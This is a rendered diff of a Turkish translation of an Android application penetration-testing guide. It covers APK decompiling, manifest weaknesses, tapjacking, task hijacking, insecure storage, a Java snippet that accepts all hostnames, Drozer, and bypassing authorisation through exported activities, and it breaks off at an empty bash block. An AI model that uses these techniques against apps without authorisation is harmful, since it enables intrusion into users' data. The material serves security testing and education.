			
		||||
 | 
			
		||||
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\
 | 
			
		||||
Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
 | 
			
		||||
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\
 | 
			
		||||
Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
 | 
			
		||||
 | 
			
		||||
### İlginç Bilgiler Aramak
 | 
			
		||||
 | 
			
		||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın.
 | 
			
		||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
 | 
			
		||||
 | 
			
		||||
**Firebase**
 | 
			
		||||
 | 
			
		||||
@ -60,24 +60,24 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
 | 
			
		||||
 | 
			
		||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
 | 
			
		||||
 | 
			
		||||
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
 | 
			
		||||
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi, potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
 | 
			
		||||
 | 
			
		||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
 | 
			
		||||
**Manifest.xml** dosyasından belirlenen **Güvenlik Açıkları** şunlardır:
 | 
			
		||||
 | 
			
		||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
 | 
			
		||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir.
 | 
			
		||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
 | 
			
		||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
 | 
			
		||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
 | 
			
		||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
 | 
			
		||||
- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
 | 
			
		||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
 | 
			
		||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
 | 
			
		||||
 | 
			
		||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
 | 
			
		||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular.
 | 
			
		||||
 | 
			
		||||
### Tapjacking
 | 
			
		||||
 | 
			
		||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
 | 
			
		||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
 | 
			
		||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için:
 | 
			
		||||
 | 
			
		||||
@ -87,7 +87,7 @@ tapjacking.md
 | 
			
		||||
 | 
			
		||||
### Görev Ele Geçirme
 | 
			
		||||
 | 
			
		||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
 | 
			
		||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için:
 | 
			
		||||
 | 
			
		||||
@ -99,12 +99,12 @@ android-task-hijacking.md
 | 
			
		||||
 | 
			
		||||
**Dahili Depolama**
 | 
			
		||||
 | 
			
		||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar **diğer uygulamalar tarafından** (potansiyel olarak kötü niyetli olanlar dahil) bu dosyalara erişimi kısıtlamaz.
 | 
			
		||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
 | 
			
		||||
 | 
			
		||||
1. **Statik Analiz:**
 | 
			
		||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesi** gerektiğini **sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
 | 
			
		||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
 | 
			
		||||
2. **Dinamik Analiz:**
 | 
			
		||||
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
 | 
			
		||||
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olup olmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
 | 
			
		||||
 | 
			
		||||
**Harici Depolama**
 | 
			
		||||
 | 
			
		||||
@ -113,12 +113,12 @@ Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan**
 | 
			
		||||
1. **Erişilebilirlik**:
 | 
			
		||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
 | 
			
		||||
2. **Güvenlik Endişeleri**:
 | 
			
		||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgilerin** harici depolamada saklanmaması önerilir.
 | 
			
		||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir.
 | 
			
		||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
 | 
			
		||||
3. **Harici Depolamadan Veri İşleme**:
 | 
			
		||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
 | 
			
		||||
- Dinamik yükleme için harici depolamada yürütülebilir dosyaların veya sınıf dosyalarının saklanması kesinlikle önerilmez.
 | 
			
		||||
- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
 | 
			
		||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
 | 
			
		||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
 | 
			
		||||
 | 
			
		||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
 | 
			
		||||
 | 
			
		||||
@ -134,7 +134,7 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında *
 | 
			
		||||
 | 
			
		||||
**Tüm Sertifikaları Kabul Etme**
 | 
			
		||||
 | 
			
		||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile:
 | 
			
		||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
 | 
			
		||||
```java
 | 
			
		||||
SSLSocketFactory sf = new cc(trustStore);
 | 
			
		||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 | 
			
		||||
@ -145,16 +145,16 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 | 
			
		||||
 | 
			
		||||
**Zayıf Anahtar Yönetim Süreçleri**
 | 
			
		||||
 | 
			
		||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
 | 
			
		||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik çalışmaları, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
 | 
			
		||||
 | 
			
		||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
 | 
			
		||||
 | 
			
		||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır.
 | 
			
		||||
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır.
 | 
			
		||||
 | 
			
		||||
### Diğer Kontroller
 | 
			
		||||
 | 
			
		||||
- Saldırganların tersine mühendislik işini zorlaştırmak için **APK'yı obfuscate** etmek önerilir.
 | 
			
		||||
- Uygulama hassas ise (banka uygulamaları gibi), **mobilin root'lu olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
 | 
			
		||||
- Saldırganların tersine mühendislik çalışmalarını zorlaştırmak için **APK'yı obfuscate** etmek önerilir.
 | 
			
		||||
- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklü olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
 | 
			
		||||
- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
 | 
			
		||||
- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
 | 
			
		||||
- APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
 | 
			
		||||
@ -181,7 +181,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
 | 
			
		||||
 | 
			
		||||
### Otomatik Statik Kod Analizi
 | 
			
		||||
 | 
			
		||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcının kontrol ettiği** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir.
 | 
			
		||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
 | 
			
		||||
 | 
			
		||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
 | 
			
		||||
 | 
			
		||||
@ -198,9 +198,9 @@ bypass-biometric-authentication-android.md
 | 
			
		||||
### Diğer İlginç Fonksiyonlar
 | 
			
		||||
 | 
			
		||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
 | 
			
		||||
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
 | 
			
		||||
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
 | 
			
		||||
- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load`
 | 
			
		||||
- [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md)
 | 
			
		||||
- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
 | 
			
		||||
 | 
			
		||||
### **Diğer Hileler**
 | 
			
		||||
 | 
			
		||||
@ -214,7 +214,7 @@ content-protocol.md
 | 
			
		||||
 | 
			
		||||
## Dinamik Analiz
 | 
			
		||||
 | 
			
		||||
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, root'lu bir cihaz (emüle edilmiş veya değil) son derece önerilir.
 | 
			
		||||
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
 | 
			
		||||
 | 
			
		||||
### Çevrimiçi Dinamik Analiz
 | 
			
		||||
 | 
			
		||||
@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
 | 
			
		||||
 | 
			
		||||
#### Bir emülatör kullanarak
 | 
			
		||||
 | 
			
		||||
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
 | 
			
		||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
 | 
			
		||||
- Kurulumunu bu sayfada öğrenin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
avd-android-virtual-device.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirmek** önerilir._)
 | 
			
		||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._)
 | 
			
		||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin.
 | 
			
		||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
 | 
			
		||||
 | 
			
		||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
 | 
			
		||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -251,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
 | 
			
		||||
 | 
			
		||||
#### Fiziksel bir cihaz kullanma
 | 
			
		||||
 | 
			
		||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root'lamak** iyi olur:
 | 
			
		||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur:
 | 
			
		||||
 | 
			
		||||
1. **Ayarlar**.
 | 
			
		||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
 | 
			
		||||
@ -259,7 +259,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
 | 
			
		||||
4. **Build numarasına** 7 kez basın.
 | 
			
		||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
 | 
			
		||||
 | 
			
		||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
 | 
			
		||||
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
 | 
			
		||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
 | 
			
		||||
 | 
			
		||||
### İstenmeyen Veri Sızıntısı
 | 
			
		||||
@ -270,15 +270,15 @@ Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
 | 
			
		||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
 | 
			
		||||
> Yine de, **hassas bilgileri günlüklememek** önerilir.
 | 
			
		||||
 | 
			
		||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
 | 
			
		||||
 | 
			
		||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden**, hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir.
 | 
			
		||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümlerde, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için **kopyala/yapıştır** işlevlerini devre dışı bırakmak önemlidir.
 | 
			
		||||
 | 
			
		||||
**Çökme Günlükleri**
 | 
			
		||||
 | 
			
		||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
 | 
			
		||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
 | 
			
		||||
 | 
			
		||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
 | 
			
		||||
 | 
			
		||||
@ -289,7 +289,7 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş
 | 
			
		||||
### SQLite DB'leri
 | 
			
		||||
 | 
			
		||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
 | 
			
		||||
Veritabanları, `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
 | 
			
		||||
Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
 | 
			
		||||
 | 
			
		||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**.
 | 
			
		||||
 | 
			
		||||
@ -297,24 +297,24 @@ Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <tabl
 | 
			
		||||
 | 
			
		||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler)
 | 
			
		||||
 | 
			
		||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
 | 
			
		||||
Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
 | 
			
		||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği **her şeyi** yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
 | 
			
		||||
Drozer, **ihracat edilen aktiviteleri, ihracat edilen servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
 | 
			
		||||
 | 
			
		||||
### İhracat Yapılmış Aktiviteleri İstismar Etme
 | 
			
		||||
### İhracat Edilen Aktiviteleri İstismar Etme
 | 
			
		||||
 | 
			
		||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
 | 
			
		||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
 | 
			
		||||
 | 
			
		||||
**Yetkilendirme atlatma**
 | 
			
		||||
 | 
			
		||||
Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
 | 
			
		||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edildiyse, **yetkilendirme** mekanizmalarını **atlatabilirsiniz**.
 | 
			
		||||
 | 
			
		||||
[**Drozer ile ihracat yapılmış aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
 | 
			
		||||
Ayrıca, adb'den ihracat yapılmış bir aktivite başlatabilirsiniz:
 | 
			
		||||
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
 | 
			
		||||
 | 
			
		||||
- Paket Adı com.example.demo
 | 
			
		||||
- İhracat Yapılmış Aktivite Adı com.example.test.MainActivity
 | 
			
		||||
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
 | 
			
		||||
```bash
 | 
			
		||||
